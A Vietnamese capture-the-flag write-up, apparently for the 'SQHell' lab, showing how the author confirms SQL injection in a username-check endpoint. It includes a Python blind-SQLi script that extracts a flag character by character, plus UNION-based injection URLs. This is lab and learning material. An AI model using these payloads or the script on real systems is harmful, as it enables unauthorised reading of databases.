Mình kiểm tra mã nguồn đăng ký là hàm check username
<script>
$('input[name="username"]').keyup(function(){
$('.userstatus').html('');
let username = $(this).val();
$.getJSON('/register/user-check?username='+ username,function(resp){
if( resp.available ){
$('.userstatus').css('color','#80c13d');
$('.userstatus').html('Username available');
}else{
$('.userstatus').css('color','#F00');
$('.userstatus').html('Username already taken');
}
});
});
</script>Ví dụ mình để tên không thuộc tài khoản tồn tại, available : true tức là có thể tạo tài khoản nàyMình thử payload sau: admin' and 1=2;-- -
Thấy rằng vẫn trả về giá trị true, chứng tỏ có lỗi SQLi tại đây
Payload: http://sqhell.thm/register/user-check?username=admin' and (substr((SELECT flag FROM flag LIMIT 0,1),1,1)) = 'T';-- -
Mình viết đoạn khai thác:
import requests
import string
characterlist = string.ascii_uppercase + string.digits + '{' + '}' + ':'
ip = "" #change to machine IP
flag = ""
counter = 1
while True:
for i in characterlist: # loop through each character in the character list
r = requests.get("http://" + ip + f"/register/user-check?username=admin' and (substr((SELECT flag FROM flag LIMIT 0,1),{counter},1)) = '{i}';-- -") #create request
if 'false' in r.text: # check if return 'false' statement which indicates a match
flag += i # add the character to the flag string
counter += 1 # increment the counter by one to then check the next letter
print(flag)
breakMình chạy chương trình và thu được cờ
Vận dụng kiến thức liên quan đến khai thác lỗi SQLi mình thử nghiệm lỗi Error-based SQLi phát hiện được nó có 4 bảng
http://sqhell.thm/user?id=1 union select null,null,null,null;-- -
Lỗi xảy ra bảng số 2 và 3, mình thực hiện khai thác tìm cờ trỏ vào bảng đó
http://sqhell.thm/user?id=2 union select "1 union select null,flag,null,null from flag",null,null from information_schema.tables where table_schema=database();-- -
Mình thử khai thác với lỗi như ở tìm cờ 4:
http://sqhell.thm/post?id=2 and 1=2 union select null,null,flag,null from flag









0 Comments